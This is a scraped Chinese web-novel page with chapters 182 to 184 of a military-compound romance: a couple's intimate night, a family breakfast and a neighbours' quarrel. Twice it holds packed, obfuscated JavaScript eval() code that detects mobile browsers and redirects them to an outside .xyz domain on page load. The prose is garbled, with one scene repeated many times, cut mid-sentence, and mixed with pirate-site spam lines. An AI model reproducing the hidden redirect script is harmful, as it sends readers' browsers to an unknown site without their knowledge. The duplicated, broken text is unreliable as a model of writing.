;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我觉得我们还太年轻而且而且我的事业才刚有点起色我想再多做点事多攒点钱而且舟舟也刚和我熟悉起来我想着多陪陪她还有” 童年里父母争吵的画面突然涌上心头玻璃杯摔在地上的脆响、母亲的哭声、父亲的怒吼她的声音低了下去带着点自己都没察觉的委屈。 “我想.想等我们更稳定些等我.” 第182章 有没有十分钟 “柒柒。” 沈淮川低沉的声音打断了她,没有任何不悦,反而带着一种让她心尖发颤的温柔。 他上前一步,将那个小袋子轻轻放在床头柜上,然后伸出温热的大手,包裹住她因为紧张而有些微凉的手。 “看着我。” 他的声音不高,却带着不容置疑的力量。 周柒柒睫毛颤了两颤,慢吞吞抬起眼,正好撞进他那双深不见底的眸子里。 屋里的灯是暖黄的,照在他瞳仁里,像盛着两汪安静的潭水,能把她所有七上八下的心思都给兜住。 “你不需要解释这么多。” 他拇指肚在她手背上轻轻摩挲着,那点粗糙的触感蹭得她心尖发麻。 “还记得你刚来那天我说过什么吗?” 周柒柒微微一怔。 沈淮川微微俯身,靠近她,温热的气息拂过她额头的碎发,声音低沉而郑重,一字一句敲在她的心上。 “我说过,都随你,这个家,你说了算,你的一切决定,我都尊重。” 他的眼神专注而心疼,仿佛看透了她话语背后更深的不安。 “孩子,要不要,什么时候要,都由你决定。你不想现在要,我们就不要。就是一辈子没孩子,也没什么。” 他顿了顿,目光越过她,看了一眼舟舟房间的方向,嘴角抿出点浅淡的笑意,语气更加柔和而坚定。 “我们有舟舟了,她就是我们的女儿,有你和舟舟在我身边,对我来说,这个家就很完整,很圆满,这就够了。” 这不是敷衍,不是迁就,是发自内心的认同和承诺。 一股巨大的暖流和酸涩瞬间冲垮了周柒柒心头的堤坝。 她没想到他会如此轻易地接受,甚至比她想的还要周全,还要体贴。 刚才洗澡的时候,她还一直在想着各种可能,想着自己要费尽口舌地去说服,去争取理解。 却原来,他早就已经站在她身后,无条件地支持着她。 周柒柒的眼眶瞬间就红了,她张了张嘴,却只发出一个带着哽咽的音节:“淮川,我.” 沈淮川没有再让她说下去。 他捧起她的脸,指腹温柔地拭去她眼角沁出地一点湿意,然后低下头,吻住了她的 唇。 这个唇开始的极其温柔,带着一丝安抚的意味,就那么轻轻啄着她的唇。 她眼角还有泪珠往下滚,滴到嘴角,咸津津的,他也细细舔去了,连带着她唇上的那点颤栗都给吻没了。 但品尝到彼此的滋味后,那压抑了整晚、甚至分别十几天的思念便被点燃了。 他手臂收紧,将她牢牢锁紧怀里。 周柒柒能清晰地感受到他胸膛下擂鼓般的心跳,以及隔着一聊传来的滚烫体温。 他的吻变得深入而强势,带着攻城略地般的霸道,舌尖撬开她的尺关,汲取着她的气息,交换着彼此浓烈的呼吸。 周柒柒早已失去了理智,手臂环上他的脖颈,热情的回应着。 沈淮川的手掌带着薄茧,那点又麻又痒的感觉像是过电似的。 周柒柒的身体不由自主地拱起,贴近他。 就在她晕头转向的时候,“啪”的一声,屋里忽然黑了。 周柒柒吓了一跳,手忙脚乱地往旁边摸,摸到了铁壳的时钟。 借着窗外透进来的月光一看,时针正好指在九点上。 军属区每晚都这时候统一熄灯,一分一秒都不差。 她进来的时候瞅过表,那会儿是八点五十,这一晃,刚好十分钟。 十分钟? 不知怎的,林瑶那张刻薄的脸,还有她那些恶毒的嘲讽,忽然闪现在周柒柒的脑海。 特别是那句尖利的“他有十分钟吗他?”。 “嗯” 周柒柒在换气的间隙,忍不住低低笑出声音,还带着一丝喘息和莫名的促狭。 “怎么了?” 沈淮川声音暗哑,他以为是自己弄疼她了,下意识就松了点劲儿,往回撤了撤。 周柒柒伸出手戳了戳沈淮川坚硬如铁的胸膛,声音含混,还有点说不清道不明的娇劲儿。 “有人说,你对女人不感兴趣,说你不行没有十分钟.” 最后几个字,她几乎是含在嘴里说的,热气呼在他颈窝里,带着点羞答答的挑衅。 沈淮川的动作猛地一顿。 方才还带着点温情的眼神瞬间变得锐利无比,深处仿佛有暗火“轰”地一下燃爆起来。 他抬起头,看着身下脸颊通红 ,眼神迷蒙,却带着狡黠笑意的女人,心中的强烈的征服欲彻底被点燃。 “你也怀疑,我没有十分钟?” 沈淮川的声音低沉地可怕,每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热,可心里那点不服输的劲儿也上来了。她仰着头,借着月光把他上下打量了一番,故意把声音拖得长长的。 “有没有,试过才知道呗。” 沈淮川非但没有被冒犯的恼怒,嘴角反而勾起一抹极具侵略性的弧度,眼神炽热得几乎快要将她融化。 “很好。” 他低语,像是宣告,又像是某种危险的承诺。 下一秒,他不再有任何保留。 滚烫的吻如同暴雨般落下,不再是温存的试探,而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处,点燃一片片燎原之火。 沈淮川的呼吸粗重,汗水顺着他棱角分明的下颚滑落,滴在她的锁骨上,烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息,滚烫的气息钻进她的耳朵,带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒,她只觉得天旋地转! 沈淮川有力的手臂猛地收紧,另一只手穿过她的腿弯,毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声,下意识地搂紧他的脖子。 他抱着她,几步就跨到床边,小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来,带着不容抗拒的力道,瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端,沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前,她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来,照着屋里的影子。 客厅的挂钟“滴答滴答”地走着,像是在数着时间。 这漫漫长夜,才刚开头呢。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,眼神迷蒙,却带着狡黠笑意的女人,心中的强烈的征服欲彻底被点燃。 “你也怀疑,我没有十分钟?” 沈淮川的声音低沉地可怕,每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热,可心里那点不服输的劲儿也上来了。她仰着头,借着月光把他上下打量了一番,故意把声音拖得长长的。 “有没有,试过才知道呗。” 沈淮川非但没有被冒犯的恼怒,嘴角反而勾起一抹极具侵略性的弧度,眼神炽热得几乎快要将她融化。 “很好。” 他低语,像是宣告,又像是某种危险的承诺。 下一秒,他不再有任何保留。 滚烫的吻如同暴雨般落下,不再是温存的试探,而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处,点燃一片片燎原之火。 沈淮川的呼吸粗重,汗水顺着他棱角分明的下颚滑落,滴在她的锁骨上,烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息,滚烫的气息钻进她的耳朵,带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒,她只觉得天旋地转! 沈淮川有力的手臂猛地收紧,另一只手穿过她的腿弯,毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声,下意识地搂紧他的脖子。 他抱着她,几步就跨到床边,小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来,带着不容抗拒的力道,瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端,沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前,她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来,照着屋里的影子。 客厅的挂钟“滴答滴答”地走着,像是在数着时间。 这漫漫长夜,才刚开头呢。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,眼神迷蒙,却带着狡黠笑意的女人,心中的强烈的征服欲彻底被点燃。 “你也怀疑,我没有十分钟?” 沈淮川的声音低沉地可怕,每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热,可心里那点不服输的劲儿也上来了。她仰着头,借着月光把他上下打量了一番,故意把声音拖得长长的。 “有没有,试过才知道呗。” 沈淮川非但没有被冒犯的恼怒,嘴角反而勾起一抹极具侵略性的弧度,眼神炽热得几乎快要将她融化。 “很好。” 他低语,像是宣告,又像是某种危险的承诺。 下一秒,他不再有任何保留。 滚烫的吻如同暴雨般落下,不再是温存的试探,而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处,点燃一片片燎原之火。 沈淮川的呼吸粗重,汗水顺着他棱角分明的下颚滑落,滴在她的锁骨上,烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息,滚烫的气息钻进她的耳朵,带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒,她只觉得天旋地转! 沈淮川有力的手臂猛地收紧,另一只手穿过她的腿弯,毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声,下意识地搂紧他的脖子。 他抱着她,几步就跨到床边,小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来,带着不容抗拒的力道,瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端,沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前,她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来,照着屋里的影子。 客厅的挂钟“滴答滴答”地走着,像是在数着时间。 这漫漫长夜,才刚开头呢。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 眼神迷蒙却带着狡黠笑意的女人心中的强烈的征服欲彻底被点燃。 “你也怀疑我没有十分钟?” 沈淮川的声音低沉地可怕每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热可心里那点不服输的劲儿也上来了。她仰着头借着月光把他上下打量了一番故意把声音拖得长长的。 “有没有试过才知道呗。” 沈淮川非但没有被冒犯的恼怒嘴角反而勾起一抹极具侵略性的弧度眼神炽热得几乎快要将她融化。 “很好。” 他低语像是宣告又像是某种危险的承诺。 下一秒他不再有任何保留。 滚烫的吻如同暴雨般落下不再是温存的试探而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处点燃一片片燎原之火。 沈淮川的呼吸粗重汗水顺着他棱角分明的下颚滑落滴在她的锁骨上烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息滚烫的气息钻进她的耳朵带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒她只觉得天旋地转! 沈淮川有力的手臂猛地收紧另一只手穿过她的腿弯毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声下意识地搂紧他的脖子。 他抱着她几步就跨到床边小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来带着不容抗拒的力道 周柒柒的意识早已经被抛上云端沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来照着屋里的影子。 客厅的挂钟“滴答滴答”地走着像是在数着时间。 这漫漫长夜才刚开头呢。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,眼神迷蒙,却带着狡黠笑意的女人,心中的强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908085|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的征服欲彻底被点燃。 “你也怀疑,我没有十分钟? 沈淮川的声音低沉地可怕,每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热,可心里那点不服输的劲儿也上来了。她仰着头,借着月光把他上下打量了一番,故意把声音拖得长长的。 “有没有,试过才知道呗。 沈淮川非但没有被冒犯的恼怒,嘴角反而勾起一抹极具侵略性的弧度,眼神炽热得几乎快要将她融化。 “很好。 他低语,像是宣告,又像是某种危险的承诺。 下一秒,他不再有任何保留。 滚烫的吻如同暴雨般落下,不再是温存的试探,而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处,点燃一片片燎原之火。 沈淮川的呼吸粗重,汗水顺着他棱角分明的下颚滑落,滴在她的锁骨上,烫得惊人。 他有力的手臂托起她的身体。 “十分钟? 他在她耳边喘息,滚烫的气息钻进她的耳朵,带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试. 下一秒,她只觉得天旋地转! 沈淮川有力的手臂猛地收紧,另一只手穿过她的腿弯,毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声,下意识地搂紧他的脖子。 他抱着她,几步就跨到床边,小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来,带着不容抗拒的力道,瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端,沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前,她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来,照着屋里的影子。 客厅的挂钟“滴答滴答地走着,像是在数着时间。 这漫漫长夜,才刚开头呢。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 眼神迷蒙却带着狡黠笑意的女人心中的强烈的征服欲彻底被点燃。 “你也怀疑我没有十分钟?” 沈淮川的声音低沉地可怕每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热可心里那点不服输的劲儿也上来了。她仰着头借着月光把他上下打量了一番故意把声音拖得长长的。 “有没有试过才知道呗。” 沈淮川非但没有被冒犯的恼怒嘴角反而勾起一抹极具侵略性的弧度眼神炽热得几乎快要将她融化。 “很好。” 他低语像是宣告又像是某种危险的承诺。 下一秒他不再有任何保留。 滚烫的吻如同暴雨般落下不再是温存的试探而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处点燃一片片燎原之火。 沈淮川的呼吸粗重汗水顺着他棱角分明的下颚滑落滴在她的锁骨上烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息滚烫的气息钻进她的耳朵带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒她只觉得天旋地转! 沈淮川有力的手臂猛地收紧另一只手穿过她的腿弯毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声下意识地搂紧他的脖子。 他抱着她 说的域名caixs?(请来才小 说 看最新章节 完整章节)几步就跨到床边小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来带着不容抗拒的力道瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来照着屋里的影子。 客厅的挂钟“滴答滴答”地走着像是在数着时间。 这漫漫长夜才刚开头呢。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,眼神迷蒙,却带着狡黠笑意的女人,心中的强烈的征服欲彻底被点燃。 “你也怀疑,我没有十分钟?” 沈淮川的声音低沉地可怕,每一个字都裹挟着危险的气息。 周柒柒被他眼里的火苗烫得浑身发热,可心里那点不服输的劲儿也上来了。她仰着头,借着月光把他上下打量了一番,故意把声音拖得长长的。 “有没有,试过才知道呗。” 沈淮川非但没有被冒犯的恼怒,嘴角反而勾起一抹极具侵略性的弧度,眼神炽热得几乎快要将她融化。 “很好。” 他低语,像是宣告,又像是某种危险的承诺。 下一秒,他不再有任何保留。 滚烫的吻如同暴雨般落下,不再是温存的试探,而是带着灼热的热度烙印在她身上。 那双带着薄茧的大手.所过之处,点燃一片片燎原之火。 沈淮川的呼吸粗重,汗水顺着他棱角分明的下颚滑落,滴在她的锁骨上,烫得惊人。 他有力的手臂托起她的身体。 “十分钟?” 他在她耳边喘息,滚烫的气息钻进她的耳朵,带着一股近乎凶狠的性感。 “周柒柒今晚我们有很多时间.慢慢给你试.” 下一秒,她只觉得天旋地转! 沈淮川有力的手臂猛地收紧,另一只手穿过她的腿弯,毫不费力地将她整个人打横抱了起来! 周柒柒短促地惊呼了一声,下意识地搂紧他的脖子。 他抱着她,几步就跨到床边,小心翼翼地把她放倒在床上。 高大地身躯随即覆压下来,带着不容抗拒的力道,瞬间将她笼罩在他滚烫的体温和强烈的男性气息之下。 周柒柒的意识早已经被抛上云端,沉浮于他掀起的惊涛骇浪之中。 在彻底沉沦之前,她迷蒙的视线扫过床头柜上那个小小的袋子。 沈淮川的大手猛地将它扯了过来。 窗外的月光静静淌进来,照着屋里的影子。 客厅的挂钟“滴答滴答”地走着,像是在数着时间。 这漫漫长夜,才刚开头呢。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第183章 祸从口出 第二天早上,晨光顺着薄薄的窗帘缝儿钻进来,刚好落在周柒柒眼皮子上。 那点光不算刺眼,却像根小羽毛似的,轻轻挠着她的眼。 她迷迷糊糊地动了动,只觉得浑身像是被拆开了再胡乱拼起来,哪儿都不得劲儿。 尤其是后腰和大腿根,酸溜溜、胀鼓鼓的,稍微动一下,那股子劲儿就往骨头缝里钻,难受得她忍不住想龇牙。 昨晚 那些炙热的吻、滚烫的汗水、有力的臂膀,以及沈淮川在她耳边低哑的喘息,和那句“慢慢给你试”……这些画面跟放电影似的,“唰”地一下全涌进脑子里。 周柒柒的脸“腾”地就热了,烧得她赶紧把眼闭紧,又往被子里缩了缩。 “嘶” 她忍不住倒吸口凉气,想翻个身换个姿势,可腰上那股酸痛劲儿猛地窜上来,动作一下子就僵住了。 她心里头直哀嚎,真是自作孽不可活! 她这是闲得发慌了?没事去招惹那个男人做什么? 还说什么十分钟……结果呢? 昨晚他几乎折腾了一整晚! 她到现在都记不清到底是几点才歇下的,只记得最后累得连动根手指头都费劲。 沈淮川嘴里明明说着“最后十分钟”,可这十分钟完了又是下一个十分钟,跟掉进了无底洞似的,循环往复没个完…… 她这下算是彻底明白了,啥叫“祸从口出”,真是一点不假。 不过……她试探着活动了一下胳膊腿。 还好。 这段时间被沈淮川逼着天天锻炼,跑圈、做仰卧起坐,没少折腾,身体底子确实扎实了不少。 虽说酸软疲惫是免不了的,但还没到她想象中那样彻底散架的地步,勉强能算“尚可接受”。 她眼珠子往床头柜上的小时钟瞟了瞟,七点二十分了! “糟了!” 周柒柒猛地坐起身,动作太急,腰上又是一阵“**”,酸得她差点叫出声。 但她哪顾得上这个,舟舟还等着喝牛奶红豆粥呢! 昨晚她可是保证过的,红豆都提前泡在水里发着了,总不能让孩子空等。 她可不想做那种说话不算数的大人。 忍着身上的不得劲儿, 她手忙脚乱地套上衣服刚把脚往地上一放腿根那股子酸软劲儿就涌了上来差点没站稳。 踉跄了一下才扶住床沿缓了好一会儿才站直了一瘸一拐地往厨房挪。 还没走到门口呢就闻到一股豆子的清甜味儿混着点奶香气飘得满鼻子都是。 厨房里沈淮川那高大的身影背对着门口正站在蜂窝煤炉前。 炉子上坐着个砂锅盖子被里头的热气顶得“噗噗”轻响时不时还“咔哒”跳一下那股子诱人的豆香就是从这儿飘出来的。 沈淮川穿了件简单的军绿色长袖下面是条深色长裤袖子挽到了手肘露出结实的小臂。 他手里拿着长柄勺正低着头一点一点轻轻搅着锅里的粥。 动作算不上多熟练但很认真。 周柒柒愣在原地心里头有点发懵:红豆粥他居然已经煮上了? 听到门口的动静沈淮川转过身来。 晨光从窗户照进来给他侧脸镀了层柔光平日里冷硬的线条好像都柔和了些。 “醒了?” 他开口声音还有点低哑带着刚睡醒的慵懒又透着点不自在。 顿了顿他目光落在她一瘸一拐的姿势上又飞快地移开喉结动了动才又问“感觉怎么样?” 周柒柒脸上刚褪下去的热度“腾”地一下又回来了。 她抬眼瞪了他一下那眼神里带着点羞恼又有点像受了委屈的小猫控诉似的没好气地说“你说呢?” 沈淮川被她瞪得轻咳一声眼神有点飘忽不敢看她落在咕嘟冒泡的粥上手还下意识地搅了两下勺子。 “咳咳粥快好了红豆煮得烂乎牛奶……我用奶粉冲好了。” 他抬手指了指灶台边那儿放着个大搪瓷缸子里面是冲调好的牛奶还冒着热气。 “不过我不知道放多少牛奶” 他补充了一句声音放低了些带着点不易察觉的小心翼翼。 他居然把牛奶都冲好了? 看旁边还有一个小砂锅里面估计是给她热的羊奶。 周柒柒心里那点小怨气 这男人……明明昨晚折腾人的 是他偏偏事后又这么体贴弄得人想发脾气都找不到由头。 “我来。” 她低低应了一声走到灶台边。 砂锅里的红豆粥熬得浓稠绵密红豆各个都开了花看着就很有食欲。 她先把红豆粥分别舀到了三个小碗里然后小心地温热的牛奶和羊奶分别倒进去慢慢搅拌。 奶香混着红豆的甜香顺着热气往鼻尖钻瞬间把小小的厨房填得满满当当暖融融的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915181|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我去食堂打点包子回来很快。” 沈淮川说着拿起桌上的军用饭盒和网兜又看了一眼她搅动着粥的侧影拿了个凳子递过来低声补充道。 “你坐着歇会儿别累着。” 说完几乎是有点落荒而逃地快步出了门。 周柒柒看着她几乎是“逃”走的背影忍不住抿嘴笑了。 这算不算是……心虚了? 正想着呢门口传来“砰砰砰”的敲门声力道轻轻的带着孩子气。 舟舟揉着眼睛穿着一身奶白色的睡衣站在厨房门口乌黑的头发还有点蓬乱像只刚睡醒的小绒球。 她显然是被香味勾过来的大眼睛亮晶晶的直勾勾地盯着锅里小鼻子还抽了抽闻着味儿。 “舟舟醒啦?” 周柒柒立刻换上温柔的笑容暂时把腰酸背痛抛到脑后。 “赶快刷牙洗脸红豆牛奶粥马上就好叔叔去打肉包子了等他回来咱们就开饭。” 舟舟用力点了点头小脸上满是期待 没一会儿沈淮川就回来了手里拎着的饭盒沉甸甸的。 饭桌很快就摆好了。 三个小碗里盛着粉糯香甜的红豆牛奶粥一饭盒白胖胖的包子。 还有一小碟翠香姐送的腌萝卜咸菜红彤彤的看着就爽口。 周柒柒给舟舟的粥碗里又加了一小勺炼乳小姑娘立刻开心地用小勺子舀着吃脸颊鼓鼓的像只小松鼠。 周柒柒也拿起勺子粥的温度刚好入口绵软。 她小口喝着暖流从胃里蔓延开连带着酸痛的腰肢似乎也舒服了些。 沈淮川坐在她对面动作利落地吃着包子目光却时不时落在她身上。 看到她小口喝粥时微微蹙眉又舒展开的神情看到她悄悄抬手按了按后腰的小动作……他眼神微动夹了一个肉包子放到她碗边的碟子里。 “多吃点。” 他就说了三个字声音还是那么低沉却带着点说不出的暖意。 周柒柒抬眼看他刚好撞进他深邃的眼眸里。 那里面没有了昨晚的炽热和风暴只剩下一种沉静的、让人安心的暖意还有一丝……藏得很深的歉意和心疼。 她没有说话只是拿起那个温热的肉包子轻轻咬了一口。 肉汁顺着嘴角往外溢了点鲜美得很面皮也松软混着肉香在嘴里散开暖乎乎的。 不知道咋的她心里头突然冒出来一句没头没脑的话。 这就是家的味道吗? 第184章 就不能安生一天! 周柒柒心里刚泛起点儿温乎乎的滋味隔壁就传来一声亮堂的喊穿透了院墙。 “肉包子!咱家也包肉包子了!我要吃三个!” 这声音不用问也知道是赵耀祖的。 只不过这回总算不是哭哭啼啼的嚎叫而是兴奋的喊叫。 周柒柒夹包子的筷子微微一顿。 隔壁邱春芳的嗓门儿提得老高带着股子从没见过的得意明摆着是说给这边听的。 “吃!耀祖乖想吃几个妈给你包几个!咱家现在不一样了妈能挣钱了!” 这大嗓门没碍着周柒柒倒把赵毅给吵醒了。 他鼻子嗅着味儿眼睛也跟着亮了。 “咋突然想起包肉包子了?” 他最知根知底邱春芳的性子平时抠搜得跟啥似的家里的钱都攥着给赵耀祖攒着。 平常吃饭不是土豆就是白菜今儿个太阳打西边出来了居然包上肉包子了。 “挣钱了呗。” 邱春芳眼里飞过去一丝得意三言两语把卖花草的事儿说了。 赵毅刚拿了个包子咬了一大口嘴里还嚼着呢听完邱春芳那几句顿时没了胃口“啪”地把包子往桌上一搁冷声说道。 “赵大梅是周柒柒的朋友人家干得好好的你跑去搅和啥?王婆婆年纪大了你们少在背后瞎鼓捣!还有那个李红娟她啥样人你不清楚?把好好的小雷、小锋教成啥模样了?跟她搅和在一块儿能有啥好?!” 邱春芳像是被戳到了痛处脖子一梗声音一下子尖利起来。 “赵毅!你啥意思你!我咋鼓捣了?是王婆婆自个儿觉得我们可靠才交过来的!我们起早贪黑的挣点钱给孩子们改善改善伙食让你脸上也有光你还冲我吼?” 她说着说着眼珠子滴溜溜转了两圈 “我知道了!是不是隔壁的小狐狸精跟你说啥了?” 自从周柒柒那天在卫生所警告过她之后她就总怕周柒柒把这事儿捅出去心里头一直虚着呢。 “你!” 赵毅的声音里带着股子压不住的火气。 “我昨儿晚上回来到现在一直搁家人家能跟我说啥?你自个儿不安分守己也就罢了还整天破坏 邻里关系!一点良心都没有! “赵毅!你说谁没良心呢你,我为了这个家我 邱春芳的声音带上了哭腔,透着股子歇斯底里。 “够了!烦不烦!就不能安生一天! 赵毅一声断喝,猛地推开凳子,迈着大步就走出了家门,院儿门“哐当一声被狠狠甩上了。 院里一下子静了,赵耀祖被吓得手里的包子都不敢往嘴里送了。 倒是二萌,一点儿不受影响,刚啃完一个肉包子,手上油乎乎的,又抓了好几个,分别塞给一萌、三萌和四萌,自个儿也拿了俩。 总共就蒸了一笼屉的包子,被她这么一拿,赵耀祖跟前就剩下俩了。 邱春芳也顾不上哭嚎了,赶紧扑过去抢。 二萌张开嘴,对着手里的俩包子各啃了一大口,气得邱春芳破口大骂起来。 “吃啥吃你!饿死鬼投胎啊你!你们女娃娃吃肉有啥用? 隔壁,周柒柒也刚把邱春芳干的事儿告诉沈淮川,当然,还有吊兰七**变一块的事儿。 沈淮川听着隔壁的污言秽语,走过去把门关上了。 “这种事,瞒不住的,纸包不住火。 关上门,隔壁的声音就不咋听得见了,周柒柒边吃包子边点头。 “嗯,我知道,所以我也没跟王大嫂说,这终究是别人家的事儿,不过到时候,邱春芳家估计又有的闹了。 沈淮川拿着勺子的手顿了顿,抬眼看她。 “如果你嫌她们吵得话,我来想办法。 “什么办法? 周柒柒猛地抬头,眼睛瞪得溜圆。 “你不会是要把人家一家人赶走吧?这是不是不太好? 沈淮川摇了摇头,眉宇中带了点追忆。 “其实按照赵毅的资历,是没有资格住小院的,只能住筒子楼,当初他求到我头上了,我念在他哥哥是战场上牺牲的烈士,才帮着去老**哪里说了话。 言下之意,赵毅一家人能不能继续在小院住下去,都是他一句话的事儿。 周柒柒愣了一下,随即摇了摇头。 “算了,就邱春芳和赵耀祖烦了点,其他人其实没啥错。 她早上打理菜地的时候,经常听到一萌在 后院背书二萌这个小丫头也是有意思的很性格她挺喜欢的。 赵毅也没做错什么一家子也算是烈士家属。 军属区的筒子楼她也远远看见过就三四十平的样子她们家里那么多人根本住不下到时候遭罪的估计还是一萌、二萌她们。 她撇撇嘴说道。 “反正邱春芳也不能拿我怎么样她说也说不过我就只能被我起个半死。” “行都听你的。” 沈淮川低笑了一声往她碗里夹了个包子“先吃饭。” 周柒柒点了点头重新拿起了筷子。 今儿是星期六舟舟要去美术班吃完饭秦磊就开车过来接了。 周柒柒感觉有点累又回去睡了个回笼觉醒来之后王团长来敲门了。 沈淮川去开了门王团长大步跨进院子也没顾上寒暄 “莹莹的腿到底咋回事?她啥也不肯细说就说不小心摔的我看那伤可不轻而且可能会留疤” 他平时说话都不超过五个字的这次居然一下子说了这么一大串。 周柒柒心里一酸她不太懂这些莹莹的伤居然会留疤吗? 莹莹这人太善良了心也软都这样了也不愿意说出来。 但她就不一样了谁给她笑脸谁让她不爽她是记得一清二楚。 一五一十连个细节都没漏把事情经过说得明明白白没有任何隐瞒和修饰。 先是赵耀祖害莹莹摔倒的事儿。 王团长脸色阴沉得厉害目光猛地朝着隔壁扫了一眼攥了握拳声音沉沉的。 “莹莹说他是孩子不许我和他计较。” 周柒柒接着把卫生所的事儿说了。 当听到林瑶处理伤口如此敷衍潦草时他腮帮子剧烈地鼓动了一下。 “我就说……那伤口……处理得跟狗啃的一样!” 他想到朱莹莹白皙纤细的腿上可能留下难看的疤痕心就像疼得他几乎喘不过气对林瑶的怒火也燃烧到了顶点。 他猛地抬头目光锐利地看向周柒柒问的问题直接切中要害:“你们知道卫生所的事儿归谁管吗?” 周柒柒立刻回答:“应该是归咱们军区后勤处管。” “后勤处” 王团长低声重复了一遍没再看周柒柒也没打招呼头也不回地就走出了小院直奔军属区办公楼而去。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 后院背书,二萌这个小丫头,也是有意思的很,性格她挺喜欢的。 赵毅也没做错什么,一家子也算是烈士家属。 